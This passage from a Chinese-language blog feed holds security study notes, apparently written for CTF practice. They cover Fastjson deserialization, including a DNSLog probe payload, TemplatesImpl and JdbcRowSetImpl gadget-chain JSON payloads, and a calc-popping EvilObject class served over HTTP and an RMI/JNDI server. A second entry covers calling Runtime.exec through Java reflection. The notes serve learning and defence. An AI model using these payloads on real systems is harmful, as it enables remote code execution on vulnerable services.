age=&quot; + age + &quot;&#125;&quot;;    &#125;&#125;</code></pre><h4 id="fastjson中的序列化和反序列化"><a href="#Fastjson中的序列化和反序列化" class="headerlink" title="Fastjson中的序列化和反序列化"></a>Fastjson中的序列化和反序列化</h4><p><strong>序列化</strong>：</p><pre><code class="java">String text = JSON.toJSONString(obj); </code></pre><p><strong>反序列化</strong>：</p><pre><code class="java">VO vo = JSON.parse();  //解析为JSONObject类型或者JSONArray类型VO vo = JSON.parseObject(&quot;&#123;...&#125;&quot;);  //JSON文本解析成JSONObject类型VO vo = JSON.parseObject(&quot;&#123;...&#125;&quot;, VO.class);  //JSON文本解析成VO.class类</code></pre><p>&emsp;&emsp;<code>JsonObject</code>和<code>JsonArray</code>是<code>Fastjson</code>内置的无害默认类，未指定解析的类以及<code>json</code>数组会被自动解析到该类上.对于类中<code>private</code>类型的属性值，<code>Fastjson</code>默认不会将其序列化和反序列化。</p><h4 id="反序列化到对应的类"><a href="#反序列化到对应的类" class="headerlink" title="反序列化到对应的类"></a>反序列化到对应的类</h4><p>&emsp;&emsp;<code>fastjson</code>中反序列化到对应的类有两种方法，一种是在parse的时候指定要解析到的类(上例中的第三个例子)，一种是通过一种叫做<code>@type</code>的属性来自动反序列化到<code>@type</code>指定的类。</p><pre><code class="java">package org.example;public class CTF &#123;    private String flag;    private String team;    private int ID;    public CTF() &#123;    &#125;    public String getFlag() &#123;        return flag;    &#125;    public void setFlag(String flag) &#123;        this.flag = flag;    &#125;    public String getTeam() &#123;        return team;    &#125;    public void setTeam(String team) &#123;        this.team = team;    &#125;    public int getID() &#123;        return ID;    &#125;    public void setID(int ID) &#123;        this.ID = ID;    &#125;&#125;</code></pre><pre><code class="java">package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;import org.example.CTF;public class Fastjson_Test &#123;    public static void main(String[] args) &#123;        CTF ctf = new CTF();        ctf.setTeam(&quot;Faster&quot;);        ctf.setID(1);        ctf.setFlag(&quot;flag&#123;test&#125;&quot;);                                                        System.out.println(JSON.toJSONString(ctf,SerializerFeature.WriteClassName));    &#125;&#125;// SerializerFeature用于控制序列化的细节，这里的writeClassName是用来把类名也包含在序列化后字符串中的设定。</code></pre><p><strong>输出：</strong></p><pre><code>&#123;&quot;@type&quot;:&quot;org.example.CTF&quot;,&quot;flag&quot;:&quot;flag&#123;test&#125;&quot;,&quot;iD&quot;:1,&quot;team&quot;:&quot;Faster&quot;&#125;</code></pre><p>可见，<code>Fastjson</code>在JSON字符串中添加了一个<code>@type</code>字段，用于标识对象所属的类。</p><pre><code class="java">package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Fastjson_Test &#123;    public static void main(String[] args) &#123;        ParserConfig.getGlobalInstance().addAccept(&quot;org.example.&quot;);        String JSON_CTF = &quot;&#123;\&quot;@type\&quot;:\&quot;org.example.CTF\&quot;,\&quot;flag\&quot;:\&quot;flag&#123;test&#125;\&quot;,\&quot;iD\&quot;:1,\&quot;team\&quot;:\&quot;Faster\&quot;&#125;&quot;;        System.out.println(JSON.parseObject(JSON_CTF, CTF.class));    &#125;&#125;// 设定ParserConfig避免报autoType is not support.，也就是添加autoType白名单。</code></pre><p><strong>输出</strong>：</p><pre><code>org.example.CTF@7e32c033</code></pre><h4 id="fastjson反序列化流程分析"><a href="#Fastjson反序列化流程分析" class="headerlink" title="Fastjson反序列化流程分析"></a>Fastjson反序列化流程分析</h4><p>&emsp;&emsp;一个bean的属性只能通过getter和setter来进行设定，我们不难猜测在反序列化的过程中会调用指定类的setter来进行属性赋值。</p><p>&emsp;&emsp;修改一个我们要指定的反序列化的类的setter和getter,让它进行最直观的操作——弹计算器和任务管理器。</p><pre><code class="java">package org.example;import java.io.IOException;public class Calc &#123;    public String calc;    public Calc() &#123;        System.out.println(&quot;调用了构造函数&quot;);    &#125;    public String getCalc() throws IOException &#123;        System.out.println(&quot;调用了getter&quot;);        Runtime.getRuntime().exec(&quot;calc&quot;);        return calc;    &#125;    public void setCalc(String calc) throws IOException &#123;        this.calc = calc;        Runtime.getRuntime().exec(&quot;taskmgr&quot;);        System.out.println(&quot;调用了setter&quot;);    &#125;&#125;</code></pre><img src="/2025/03/19/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/1.png"><p>&emsp;&emsp;事实证明在走序列化和反序列化的流程中都会调用目标类的Setter和Getter和构造函数,所以我们的目标就是<font color="#ff9f9f"><strong>找一个带有可控恶意参数的getter和setter或是构造函数来实现反序列化攻击</strong></font>。</p><p>&emsp;&emsp;阅读源码发现，<code>FastJson</code>在通过<code>@type</code>获取类之后，通过反射拿到该类所有的方法存入<code>methods</code>，接下来遍历<code>methods</code>进而获取<code>getter</code>、<code>setter</code>方法。</p><p><strong>setter的查找方式：</strong></p><ul><li><p>方法名长度大于4</p></li><li><p>非静态方法</p></li><li><p>返回值为void或当前类</p></li><li><p>方法名以set开头</p></li><li><p>参数个数为1</p></li></ul><p><strong>getter的查找方式：</strong></p><ul><li><p>方法名长度大于等于4</p></li><li><p>非静态方法</p></li><li><p>以get开头且第4个字母为大写</p></li><li><p>无传入参数</p></li><li><p>返回值类型继承自<code>Collection</code> <code>Map</code> <code>AtomicBoolean</code> <code>AtomicInteger</code> <code>AtomicLong</code></p></li></ul><h4 id="dnslog探测"><a href="#DnsLog探测" class="headerlink" title="DnsLog探测"></a>DnsLog探测</h4><p>&emsp;&emsp;为了确定某个服务确实存在fastjson反序列化漏洞，首先应该进行试探性的探测，比如利用它来进行Dnslog探测。就直接拿final的题来试试吧：</p><pre><code class="java">@PostMapping(&#123;&quot;/parse&quot;&#125;)    public String parseJson(@RequestBody String json) &#123;        Object obj = JSON.parseObject(json);        return &quot;Parsed: &quot; + obj.getClass().getName();    &#125;</code></pre><p>向&#x2F;parse发送post，body如下：</p><pre><code class="json">&#123;  &quot;a&quot;: &#123;    &quot;@type&quot;: &quot;java.net.Inet4Address&quot;,    &quot;val&quot;: &quot;test.Your.dnslog.url&quot;  &#125;&#125;// 由于fastjson1.2.25及以上的版本的autotype默认为false，要套一层json来防止请求被拦</code></pre><p>会得到响应：</p><pre><code class="text">Parsed: com.alibaba.fastjson.JSONObject</code></pre><p>并且可以发现确实进行了一次DNS查询。</p><p>&emsp;&emsp;<code>InnetAddress</code>类有一个getter方法，用于查询真实的IP地址，落到实处也就是进行了一次DNS查询，从而可以进行目标能否进行攻击的探测。</p><pre><code class="java">private static InetAddress[] getAddressesFromNameService(String host, InetAddress reqAddr)    throws UnknownHostException&#123;    InetAddress[] addresses = null;    boolean success = false;    UnknownHostException ex = null;    if ((addresses = checkLookupTable(host)) == null) &#123;        try &#123;            for (NameService nameService : nameServices) &#123;                 try &#123;                    addresses = nameService.lookupAllHostAddr(host);                    success = true;                    break;                &#125; catch (UnknownHostException uhe) &#123;                    if (host.equalsIgnoreCase(&quot;localhost&quot;)) &#123;                        InetAddress[] local = new InetAddress[] &#123; impl.loopbackAddress() &#125;;                        addresses = local;                        success = true;                        break;                    &#125;                    else &#123;                        addresses = unknown_array;                        success = false;                        ex = uhe;                    &#125;                &#125;            &#125;            if (reqAddr != null &amp;&amp; addresses.length &gt; 1 &amp;&amp; !addresses[0].equals(reqAddr)) &#123;                int i = 1;                for (; i &lt; addresses.length; i++) &#123;                    if (addresses[i].equals(reqAddr)) &#123;                        break;                    &#125;                &#125;                if (i &lt; addresses.length) &#123;                    InetAddress tmp, tmp2 = reqAddr;                    for (int j = 0; j &lt; i; j++) &#123;                        tmp = addresses[j];                        addresses[j] = tmp2;                        tmp2 = tmp;                    &#125;                    addresses[i] = tmp2;                &#125;            &#125;            cacheAddresses(host, addresses, success);            if (!success &amp;&amp; ex != null)                throw ex;        &#125; finally &#123;            updateLookupTable(host);        &#125;    &#125;    return addresses;&#125;</code></pre><h3 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h3><h4 id="fastjson-ltx3d-1224"><a href="#Fastjson" class="headerlink" title="Fastjson &lt;&#x3D; 1.2.24"></a>Fastjson &lt;&#x3D; 1.2.24</h4><h5 id="templatesimpl利用链"><a href="#TemplatesImpl利用链" class="headerlink" title="TemplatesImpl利用链"></a>TemplatesImpl利用链</h5><blockquote><p>Java 9 及后续版本的模块系统限制了对JDK内部模块的访问，因此不好进行攻击。下列代码在Java 8环境下复现</p></blockquote><p><code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</code>这个类中定义了一个内部类</p><p><code>TransletClassLoader</code>,其中<code>defineClass</code>没有限制作用域,可以直接被外部调用。</p><pre><code class="java">static final class TransletClassLoader extends ClassLoader &#123;    private final Map&lt;String,Class&gt; _loadedExternalExtensionFunctions;     TransletClassLoader(ClassLoader parent) &#123;         super(parent);        _loadedExternalExtensionFunctions = null;    &#125;    TransletClassLoader(ClassLoader parent,Map&lt;String, Class&gt; mapEF) &#123;        super(parent);        _loadedExternalExtensionFunctions = mapEF;    &#125;    public Class&lt;?&gt; loadClass(String name) throws ClassNotFoundException &#123;        Class&lt;?&gt; ret = null;        // The _loadedExternalExtensionFunctions will be empty when the        // SecurityManager is not set and the FSP is turned off        if (_loadedExternalExtensionFunctions != null) &#123;            ret = _loadedExternalExtensionFunctions.get(name);        &#125;        if (ret == null) &#123;            ret = super.loadClass(name);        &#125;        return ret;     &#125;    /**     * Access to final protected superclass member from outer class.     */    Class defineClass(final byte[] b) &#123;        return defineClass(null, b, 0, b.length);    &#125;&#125;</code></pre><p>&emsp;&emsp;这个类里重写了 <code>defineClass</code> 方法，并且这里没有显式地声明其定义域。Java中默认情况下，如果一个方法没有显式声明作用域，其作用域为default。所以也就是说这里的 <code>defineClass</code> 由其父类的protected类型变成了一个default类型的方法，可以被类外部调用。</p><p><strong>向前追溯的调用链如下:</strong></p><pre><code class="java">TemplatesImpl#getOutputProperties() -&gt; TemplatesImpl#newTransformer() -&gt; TemplatesImpl#getTransletInstance() -&gt; TemplatesImpl#defineTransletClasses() -&gt; TransletClassLoader#defineClass()</code></pre><p>其中<code>getOutputProperties</code>属于getter方法，在<code>fastjson</code>里会被直接调用:</p><pre><code class="json">&#123;    &quot;@type&quot;: &quot;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl&quot;,    &quot;_bytecodes&quot;: [        &quot;&lt;恶意字节码-base64&gt;&quot;    ],    &quot;_name&quot;: &quot;a.b&quot;,    &quot;_tfactory&quot;: &#123;&#125;,    &quot;_outputProperties&quot;: &#123;&#125;&#125;</code></pre><p>对于以上payload，给出以下解释：</p><ul><li><p><code>_tfactory</code>:在调用<code>TemplatesImpl</code>利用链时，<code>defineTransletClasses</code>方法内部会通过<code>_tfactory</code>属性调用一个<code>getExternalExtensionsMap</code>方法，如果<code>_tfactory</code>属性为<code>null</code>则会抛出异常，无法根据<code>_bytecodes</code>属性的内容加载并实例化恶意类</p></li><li><p><code>_name</code>:<code>getTransletInstance</code>方法中判断<code>if (_name == null) return null;</code> 所以要给<code>_name</code>赋值（String）</p></li><li><p><code>_outputProperties</code>:json数据在反序列化时会调用<code>TemplatesImpl</code>类的<code>getOutputProperties</code>方法触发利用链，可以理解为<code>_outputProperties</code>属性的作用就是为了调用<code>getOutputProperties</code>方法。</p></li><li><p>由于更改的一些<code>TemplatesImpl</code>私有变量没有<code>setter</code>方法，需要使用 <code>Feature.SupportNonPublicField</code>参数(在反序列化执行函数中，请看后例)。也正是因此，<code>TemplatesImpl</code>这条链的泛用性不强(</p></li><li><p>fastjson在反序列化时，如果Field类型为<code>byte[]</code>，将会调用<code>com.alibaba.fastjson.parser.JSONScanner#bytesValue</code>进行base64解码，对应的，在序列化时也会进行base64编码</p></li></ul><p>恶意字节码就是写一个能弹计算器的类，编译成class然后把字节流再base64一下导出来。</p><blockquote><p>shell命令：<code>base64 exp.class</code>即可。</p></blockquote><h5 id="jdbcrowsetimpl利用链"><a href="#JdbcRowSetImpl利用链" class="headerlink" title="JdbcRowSetImpl利用链"></a>JdbcRowSetImpl利用链</h5><pre><code class="java">private Connection connect() throws SQLException &#123;        // Get a JDBC connection.        // First check for Connection handle object as such if        // &quot;this&quot; initialized  using conn.        if(conn != null) &#123;            return conn;        &#125; else if (getDataSourceName() != null) &#123;            // Connect using JNDI.            try &#123;                Context ctx = new InitialContext();                DataSource ds = (DataSource)ctx.lookup                    (getDataSourceName());                //return ds.getConnection(getUsername(),getPassword());                if(getUsername() != null &amp;&amp; !getUsername().equals(&quot;&quot;)) &#123;                     return ds.getConnection(getUsername(),getPassword());                &#125; else &#123;                     return ds.getConnection();                &#125;            &#125;            catch (javax.naming.NamingException ex) &#123;                throw new SQLException(resBundle.handleGetObject(&quot;jdbcrowsetimpl.connect&quot;).toString());            &#125;        &#125; else if (getUrl() != null) &#123;            // Check only for getUrl() != null because            // user, passwd can be null            // Connect using the driver manager.            return DriverManager.getConnection                    (getUrl(), getUsername(), getPassword());        &#125;        else &#123;            return null;        &#125;    &#125;public String getDataSourceName() &#123;        return dataSource;    &#125;</code></pre><blockquote><p>重点关注第16行的<code>DataSource ds = (DataSource)ctx.lookup(getDataSourceName());</code>以及<code>getDataSourceName()</code>函数.lookup函数可以触发JNDI的搜索,dataSource可控,则可以进行恶意JNDI的注入.</p></blockquote><p>&emsp;&emsp;Connect方法里面调用了lookup方法，从这个类的dataSource变量获取URI，而这个URI我们是可控的.因此我们去看看哪里可以调用Connect方法:</p><pre><code class="java">public void setAutoCommit(boolean autoCommit) throws SQLException &#123;      if(conn != null) &#123;         conn.setAutoCommit(autoCommit);      &#125; else &#123;         conn = connect();         conn.setAutoCommit(autoCommit);      &#125;  &#125;</code></pre><p>&emsp;&emsp;比较有意思的是这刚好是一个Setter方法，可以满足Fastjson触发的条件,并且数据源也可控.所以我们只需要反序列化一个<code>JdbcRowSetImpl</code>实例出来，设置它的<code>dataSource</code>属性就可以实现JNDI注入.</p><img src="/2025/03/19/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/2.png"><p>要注意的是JNDI注入对JDK版本号有限制，高版本JDK<code>trustURLCodebase</code>变量默认设置为False.</p><pre><code>public java.lang.Object lookup(Name name)        throws NamingException &#123;            if (_nc == null)                throw new ConfigurationException(                    &quot;Context does not have a corresponding NamingContext&quot;);            if (name.size() == 0 )                return this; // %%% should clone() so that env can be changed            NameComponent[] path = CNNameParser.nameToCosName(name);            java.lang.Object answer = null;            try &#123;                answer = callResolve(path);                try &#123;                    // Check whether object factory codebase is trusted                    if (CorbaUtils.isObjectFactoryTrusted(answer)) &#123;                        answer = NamingManager.getObjectInstance(                            answer, name, this, _env);                    &#125;                &#125; catch (NamingException e) &#123;                    throw e;                &#125; catch (Exception e) &#123;                    NamingException ne = new NamingException(                        &quot;problem generating object using object factory&quot;);                    ne.setRootCause(e);                    throw ne;                &#125;            &#125; catch (CannotProceedException cpe) &#123;                javax.naming.Context cctx = getContinuationContext(cpe);                return cctx.lookup(cpe.getRemainingName());            &#125;            return answer;    &#125;public static boolean isObjectFactoryTrusted(Object obj)        throws NamingException &#123;        // Extract Reference, if possible        Reference ref = null;        if (obj instanceof Reference) &#123;            ref = (Reference) obj;        &#125; else if (obj instanceof Referenceable) &#123;            ref = ((Referenceable)(obj)).getReference();        &#125;        if (ref != null &amp;&amp; ref.getFactoryClassLocation() != null &amp;&amp;                !CNCtx.trustURLCodebase) &#123;            throw new ConfigurationException(                &quot;The object factory is untrusted. Set the system property&quot; +                &quot; &#39;com.sun.jndi.cosnaming.object.trustURLCodebase&#39; to &#39;true&#39;.&quot;);        &#125;        return true;    &#125;</code></pre><blockquote><p>这里关注<code>isObjectFactoryTrusted()</code>函数,第44行处写明<code>trustURLCodebase</code>若为False则直接会抛出异常,而无法对传入的类实例化,也就无法攻击了(请看第15行的条件判断)</p></blockquote><p>&emsp;&emsp;确定能攻击后，接下来就是准备外部RMI&#x2F;LDAP攻击源和发送Payload的事情.写一个简单的<code>EvilObject.java</code>，弹个计算器来验证代码执行:</p><pre><code class="java">import java.io.IOException;public class EvilObject &#123;    public EvilObject() &#123;    &#125;    static &#123;        try &#123;            Runtime.getRuntime().exec(&quot;calc&quot;);        &#125; catch (IOException e) &#123;            e.printStackTrace();        &#125;    &#125;&#125;</code></pre><p>使用javac编译成class，用python快速开启一个HTTP服务提供文件下载支持:</p><pre><code class="shell">python -m http.server 8000</code></pre><p>&emsp;&emsp;接下来是启动RMI服务器，这里用了一个快速便捷的Jar包，后面的参数是用来确定提供class的registry地址的，也可以加最后一个参数用来改变RMI端口号</p><p><a href="https://github.com/RandomRobbieBF/marshalsec-jar/blob/master/marshalsec-0.0.3-SNAPSHOT-all.jar"><a href="https://github.com/RandomRobbieBF/marshalsec-jar/blob/master/marshalsec-0.0.3-SNAPSHOT-all.jar">Github Jar包下载</a></a></p><p>payload则类似于:</p><pre><code class="json">&#123;    &quot;@type&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;,    &quot;dataSourceName&quot;: &quot;rmi://xxx.xxx.xxx.xxx:xxxx/EcilObject&quot;,    &quot;autoCommit&quot;: &quot;true&quot;&#125;</code></pre><blockquote><p>autoCommit属性设定了自动连接dataSourceName所指定的数据源进行连接.</p></blockquote><blockquote><p>注意java版本的可用性,在找现存的链子时要注意适用范围</p></blockquote>]]></content>
    
    
    <summary type="html">FastJson反序列化的学习笔记喵~</summary>
    
    
    
    <category term="笔记" scheme="https://101.43.94.206/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Java" scheme="https://101.43.94.206/tags/Java/"/>
    
    <category term="CTF" scheme="https://101.43.94.206/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Java安全学习笔记</title>
    <link href="https://101.43.94.206/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <id>https://101.43.94.206/2025/03/10/Java%E5%AE%89%E5%85%A8%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <published>2025-03-10T14:23:41.000Z</published>
    <updated>2025-03-20T06:57:38.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>本文摘录自<a href="https://www.javasec.org/">攻击Java Web应用-[Java Web安全]</a>,在一些顺序，细节上有所不同，有增加一些补充知识。</p></blockquote><h2 id="java基础"><a href="#Java基础" class="headerlink" title="Java基础"></a>Java基础</h2><h3 id="java反射机制"><a href="#Java反射机制" class="headerlink" title="Java反射机制"></a>Java反射机制</h3><h4 id="什么是反射"><a href="#什么是反射？" class="headerlink" title="什么是反射？"></a>什么是反射？</h4><p>&emsp;&emsp;<font color="#ff9f9f"><strong>Java反射(<code>Reflection</code>)</strong></font>是Java非常重要的动态特性，通过使用反射我们不仅可以获取到任何类的成员方法(<code>Methods</code>)、成员变量(<code>Fields</code>)、构造方法(<code>Constructors</code>)等信息，还可以<em><strong>动态</strong></em>创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。</p><p>&emsp;&emsp;所谓动态，就是并不根据源代码来创建类，而是可以根据诸如配置文件等外部信息来创建类或实例等。</p><p>&emsp;&emsp;Java 中，通常情况下，我们在编译时就已经确定了要使用的类、方法和属性。而反射机制打破了这种限制，它允许程序在运行时检查和操作类、对象、方法、字段等，无需在编译时知道这些元素的具体信息。</p><p>&emsp;&emsp;所以反射应用在无法知晓操作对象或类属于什么类，只能依靠运行时的信息获取该类的信息，比如spring根据xml来创建一个类，就是反射的应用。</p><p>&emsp;&emsp;Java 反射机制的核心是 <code>Class</code> 类。在 Java 中，每个类在被加载到 JVM 时，都会创建一个对应的 <code>Class</code> 对象，这个 <code>Class</code> 对象包含了该类的所有元数据信息，如类的名称、父类、接口、字段、方法、构造函数等。通过 <code>Class</code> 对象，我们可以在运行时动态地获取和操作这些信息。</p><h4 id="获取class对象"><a href="#获取Class对象" class="headerlink" title="获取Class对象"></a>获取Class对象</h4><p>&emsp;&emsp;Java反射操作的是<code>java.lang.Class</code>对象，所以我们需要先想办法获取到Class对象，通常我们有如下几种方式获取一个类的Class对象：</p><ol><li><code>类名.class</code>，如:<code>java.lang.Runtime.class;</code>。</li><li><code>Class.forName(&quot;java.lang.Runtime&quot;);</code></li><li><code>ClassLoader.getSystemClassLoader().loadClass(java.lang.Runtime.class);</code></li></ol><p>&emsp;&emsp;获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式，如下：</p><pre><code class="java">Class&lt;?&gt; doubleArray = Class.forName(&quot;[D&quot;);//相当于double[].classClass&lt;?&gt; cStringArray = Class.forName(&quot;[[Ljava.lang.String;&quot;);// 相当于String[][].class</code></pre><blockquote><p><font color="#ff9f9f"><strong>类型描述符（Type Descriptor）</strong></font>是一种用于以紧凑、机器可读的格式表示 Java 类型的方式，常用于字节码操作、反射和序列化等场景。</p><ul><li>基本数据类型有对应的单字符描述符：</li></ul><table><thead><tr><th>基本数据类型</th><th>描述符</th></tr></thead><tbody><tr><td><code>boolean</code></td><td><code>Z</code></td></tr><tr><td><code>byte</code></td><td><code>B</code></td></tr><tr><td><code>char</code></td><td><code>C</code></td></tr><tr><td><code>short</code></td><td><code>S</code></td></tr><tr><td><code>int</code></td><td><code>I</code></td></tr><tr><td><code>long</code></td><td><code>J</code></td></tr><tr><td><code>float</code></td><td><code>F</code></td></tr><tr><td><code>double</code></td><td><code>D</code></td></tr></tbody></table><ul><li><p>对于引用类型（类、接口、数组等），描述符是该类型的全限定名，并且用斜杠 <code>/</code> 代替点号 <code>.</code>，并在前面加上 <code>L</code>，后面加上分号 <code>;</code>。例如：</p><ul><li><code>java.lang.String</code> 的描述符是 <code>Ljava/lang/String;</code></li><li>自定义类 <code>com.example.MyClass</code> 的描述符是 <code>Lcom/example/MyClass;</code></li></ul></li><li><p>数组类型的描述符以 <code>[</code> 开头，后面跟着元素类型的描述符。例如：</p><ul><li>一维 <code>int</code> 数组 <code>int[]</code> 的描述符是 <code>[I</code></li><li>二维 <code>int</code> 数组 <code>int[][]</code> 的描述符是 <code>[[I</code></li><li>一维 <code>String</code> 数组 <code>String[]</code> 的描述符是 <code>[Ljava/lang/String;</code></li></ul></li></ul></blockquote><h4 id="反射javalangruntime"><a href="#反射java-lang-Runtime" class="headerlink" title="反射java.lang.Runtime"></a>反射java.lang.Runtime</h4><p>&emsp;&emsp;<code>java.lang.Runtime</code>因为有一个<code>exec</code>方法可以执行本地命令，所以在很多的<code>payload</code>中我们都能看到反射调用<code>Runtime</code>类来执行本地系统命令，通过学习如何反射<code>Runtime</code>类也能让我们理解反射的一些基础用法。</p><p><strong>不使用反射执行本地命令代码片段：</strong></p><pre><code class="java">// 输出命令执行结果System.out.println(org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(&quot;whoami&quot;).getInputStream(), &quot;UTF-8&quot;));</code></pre><p>&emsp;&emsp;如果使用反射就会比较麻烦了，我们不得不需要间接性的调用<code>Runtime</code>的<code>exec</code>方法。</p><pre><code class="java">Class runtimeClass1 = Class.forName(&quot;java.lang.Runtime&quot;);// 获取Runtime类对象Constructor constructor = runtimeClass1.getDeclaredConstructor();// 获取无参构造方法（getDeclaredConstructor 可以获取类中所有访问权限（包括私有、受保护和公共）的构造方法。）constructor.setAccessible(true);// Runtime 类的构造方法是私有的，默认情况下不能直接访问。setAccessible(true) 方法用于设置该构造方法的可访问性，将其访问权限设置为可访问，这样就可以绕过 Java 的访问控制机制来调用私有构造方法。Object runtimeInstance = constructor.newInstance();// 创建Runtime类示例，等价于 Runtime rt = new Runtime();Method runtimeMethod = runtimeClass1.getMethod(&quot;exec&quot;, String.class);// 获取Runtime的exec(String cmd)方法/* getMethod(String name, Class&lt;?&gt;... parameterTypes)，name是要获取的方法名，parameterTypes是参数类型，注意一一对应。*/Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);// 调用exec方法，等价于 rt.exec(cmd);InputStream in = process.getInputStream();// 获取命令执行结果System.out.println(org.apache.commons.io.IOUtils.toString(in, &quot;UTF-8&quot;));// 输出命令执行结果</code></pre><p>&emsp;&emsp;反射调用<code>Runtime</code>实现本地命令执行的流程如下：</p><ol><li><p>反射获取<code>Runtime</code>类对象(<code>Class.forName(&quot;java.lang.Runtime&quot;)</code>)。</p></li><li><p>使用<code>Runtime</code>类的Class对象获取<code>Runtime</code>类的无参数构造方法(<code>getDeclaredConstructor()</code>)，因为<code>Runtime</code>的构造方法是<code>private</code>的我们无法直接调用，所以我们需要通过反射去修改方法的访问权限(<code>constructor.setAccessible(true)</code>)。</p></li><li><p>获取<code>Runtime</code>类的<code>exec(String)</code>方法(<code>runtimeClass1.getMethod(&quot;exec&quot;, String.class);</code>)。</p></li><li><p>调用<code>exec(String)</code>方法(<code>runtimeMethod.invoke(runtimeInstance, cmd)</code>)。</p></li></ol><p>&emsp;&emsp;上面的代码每一步都写了非常清晰的注释，接下来我们将进一步深入的了解下每一步具体含义。</p><p><strong>反射创建类实例</strong></p><p>&emsp;&emsp;在Java的<code>任何一个类都必须有一个或多个构造方法</code>，如果代码中没有创建构造方法那么在类编译的时候会自动创建一个无参数的构造方法。</p><p><strong>Runtime类构造方法示例代码片段:</strong></p><pre><code class="java">public class Runtime &#123;   /** Don&#39;t let anyone else instantiate this class */  private Runtime() &#123;&#125;&#125;</code></pre><p>&emsp;&emsp;从上面的<code>Runtime</code>类代码注释我们看到它本身是不希望除了其自身的任何人去创建该类实例的，因为这是一个私有的类构造方法，所以我们没办法<code>new</code>一个<code>Runtime</code>类实例即不能使用<code>Runtime rt = new Runtime();</code>的方式创建<code>Runtime</code>对象，但示例中我们借助了反射机制，修改了方法访问权限从而间接的创建出了<code>Runtime</code>对象。</p><p>&emsp;&emsp;<code>runtimeClass1.getDeclaredConstructor</code>和<code>runtimeClass1.getConstructor</code>都可以获取到类构造方法，区别在于<em>后者无法获取到私有方法</em>，所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。如果构造方法有一个或多个参数的情况下我们应该在获取构造方法时候传入对应的参数类型数组，如：<code>clazz.getDeclaredConstructor(String.class, String.class)</code>。</p><blockquote><p>如果我们想获取类的所有构造方法可以使用：<code>clazz.getDeclaredConstructors</code>来获取一个<code>Constructor</code>数组。</p></blockquote><p>&emsp;&emsp;获取到<code>Constructor</code>以后我们可以通过<code>constructor.newInstance()</code>来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值，如:<code>constructor.newInstance(&quot;admin&quot;, &quot;123456&quot;)</code>。当我们没有访问构造方法权限时我们应该调用<code>constructor.setAccessible(true)</code>修改访问权限就可以成功的创建出类实例了。</p><h4 id="反射调用类方法"><a href="#反射调用类方法" class="headerlink" title="反射调用类方法"></a>反射调用类方法</h4><p>&emsp;&emsp;<code>Class</code>对象提供了一个获取某个类的所有的成员方法的方法，也可以通过方法名和方法参数类型来获取指定成员方法。</p><ol><li>   <strong>获取当前类所有的成员方法：</strong></li></ol><pre><code class="java">Method[] methods = clazz.getDeclaredMethods()</code></pre><ol start="2"><li>   <strong>获取当前类指定的成员方法：</strong></li></ol><pre><code class="java">Method method = clazz.getDeclaredMethod(&quot;方法名&quot;, 参数类型如String.class，多个参数用&quot;,&quot;号隔开);</code></pre><p>&emsp;&emsp;<code>getMethod</code>和<code>getDeclaredMethod</code>都能够获取到类成员方法，区别在于<code>getMethod</code>只能获取到<code>当前类和父类</code>的所有有权限的方法(如：<code>public</code>)，而<code>getDeclaredMethod</code>能获取到当前类的所有成员方法(不包含父类)。</p><ol start="3"><li>   <strong>反射调用方法</strong></li></ol><p>获取到<code>java.lang.reflect.Method</code>对象以后我们可以通过<code>Method</code>的<code>invoke</code>方法来调用类方法。</p><ol start="4"><li>   <strong>调用类方法代码片段：</strong></li></ol><pre><code class="java">method.invoke(方法实例对象, 方法参数值，多个参数值用&quot;,&quot;隔开);</code></pre><p>&emsp;&emsp;<code>method.invoke</code>的第一个参数必须是类实例对象，如果调用的是<code>static</code>方法那么第一个参数值可以传<code>null</code>，因为在java中调用静态方法是不需要有类实例的，因为可以直接<code>类名.方法名(参数)</code>的方式调用。</p><p>&emsp;&emsp;<code>method.invoke</code>的第二个参数不是必须的，如果当前调用的方法没有参数，那么第二个参数可以不传，如果有参数那么就必须严格的<code>依次传入对应的参数类型</code>。</p><h4 id="反射调用成员变量"><a href="#反射调用成员变量" class="headerlink" title="反射调用成员变量"></a>反射调用成员变量</h4><p>&emsp;&emsp;Java反射不但可以获取类所有的成员变量名称，还可以<em><strong>无视权限修饰符实现修改对应的值</strong></em>。</p><p><strong>获取当前类的所有成员变量：</strong></p><pre><code class="java">Field fields = clazz.getDeclaredFields();</code></pre><p><strong>获取当前类指定的成员变量：</strong></p><pre><code class="java">Field field  = clazz.getDeclaredField(&quot;变量名&quot;);</code></pre><p>&emsp;&emsp;<code>getField</code>和<code>getDeclaredField</code>的区别同<code>getMethod</code>和<code>getDeclaredMethod</code>。</p><p><strong>获取成员变量值：</strong></p><pre><code class="java">Object obj = field.get(类实例对象);</code></pre><p><strong>修改成员变量值：</strong></p><pre><code class="java">field.set(类实例对象, 修改后的值);</code></pre><p>&emsp;&emsp;同理，当我们没有修改的成员变量权限时(如私有)可以使用: <code>field.setAccessible(true)</code>的方式修改为访问成员变量访问权限。</p><p>&emsp;&emsp;如果我们需要修改被<code>final</code>关键字修饰的成员变量，那么我们需要先修改方法</p><pre><code class="java">// 反射获取Field类的modifiersField modifiers = field.getClass().getDeclaredField(&quot;modifiers&quot;);// 设置modifiers修改权限modifiers.setAccessible(true);// 修改成员变量的Field对象的modifiers值modifiers.setInt(field, field.getModifiers() &amp; ~Modifier.FINAL);/*setInt() 是 Field 类的一个方法，用于设置该 Field 对象所代表的字段的值。这里将 field 对象的 modifiers 字段的值设置为移除 final 